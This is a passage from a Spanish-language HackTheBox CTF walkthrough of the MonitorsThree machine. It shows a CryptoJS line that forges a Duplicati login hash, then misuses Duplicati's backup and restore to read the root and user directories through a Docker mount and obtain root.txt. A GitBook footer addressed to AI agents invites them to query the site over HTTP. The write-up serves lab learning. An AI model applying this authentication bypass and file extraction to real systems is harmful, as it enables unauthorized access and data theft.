var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Visualización del resultado**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/b201ad8b77f9e0cc6cb1cc6ea836cfd9c138fa87" alt=""><figcaption></figcaption></figure>

La contraseña generada (`noncedpwd`) es:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Inyección y operación de la contraseña

1. Copia y pega la contraseña calculada.
2. Utilice **Ctrl + U** para codificarlo en URL.

<figure><img src="/files/2a5c51766c960b7a5b8d91f268f42ffb633b7de0" alt=""><figcaption></figcaption></figure>

3. Haz clic en **Reenviar** de nuevo para completar la operación.

### Duplicati - Lectura de archivos de copia de seguridad

<figure><img src="/files/36b5a218b19a33da1c2d60525c4c6dcda07a7fcc" alt=""><figcaption></figcaption></figure>

Ahora que tenemos acceso al **panel de administración de Duplicati**, crearemos una nueva copia de seguridad con el objetivo de exfiltrar la **SSH** clave.

<figure><img src="/files/016cf3ef841c79a0634b0989240f0d8a9f0b48ca" alt=""><figcaption></figcaption></figure>

**Análisis de la configuración de Docker**/ Al observar el `docker-compose.yml` archivo, vemos que los archivos se almacenan en el **origen** directorio del sistema host, montado en el contenedor.

<figure><img src="/files/2d820fc575e26f3ee1f9c9d9aa3578d74c983ffa" alt="" width="541"><figcaption></figcaption></figure>

**Selección del directorio de destino**/ Para garantizar el acceso a archivos sensibles, configuramos el destino de la **backup** en este directorio seleccionando:

* **Archivo de origen**: `/source/home/marcus/`

<figure><img src="/files/d85dce2ccd7eada0546a5223bd73b6432f60516b" alt="" width="563"><figcaption></figcaption></figure>

* **Datos de origen:** `source/root/`

<figure><img src="/files/50de15ab9c46e288e96b7fbaf74f3f3649bcaf46" alt=""><figcaption></figcaption></figure>

**Finalización de la configuración**

* Guardar configuración.

<figure><img src="/files/30199665dc4698497191e0e936aef780f5f3fb7b" alt=""><figcaption></figcaption></figure>

* Ejecuta **Guardar** para recuperar los archivos objetivo.

<figure><img src="/files/5b508b4da15286e0d16b8292a2348a272053d717" alt=""><figcaption></figcaption></figure>

### Extracción de archivos guardados

Tras la ejecución de la **backup**, se generan tres archivos ZIP.

<div data-full-width="true"><figure><img src="/files/e5910746d4a684bd5c33a35bbb6c8e1b26b99650" alt=""><figcaption></figcaption></figure></div>

* **Acceso a los archivos**
  * Un intento de abrir los archivos directamente falla debido a restricciones de acceso.
  * Sin embargo, mediante **Duplicati**, usamos **Restaurar archivos** opción para recuperar el contenido.

<figure><img src="/files/5c7c23a09589bd17947ca1993886f93f2dca4a1a" alt=""><figcaption></figcaption></figure>

**Restaurar y exfiltrar**

* Extraiga archivos de la copia de seguridad.

<figure><img src="/files/ef0592140cbabe6f24080db9edc46e631a197139" alt=""><figcaption></figcaption></figure>

Selección de carpeta **`/source/home/marcus/`** como fuente de restauración.

<figure><img src="/files/9c179fec13ecc38ccb2844d731705e977029b5cf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a4d4d761d21c43b08581a9c7ba33f1b970d9416a" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

Tras la restauración, exploramos los archivos y descubrimos **`root.txt`**!

<figure><img src="/files/7a409fabb9bb4b2efff2266fb47467bff72873fb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f251819d0547b53dd75231c9c2421cff201c0773" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
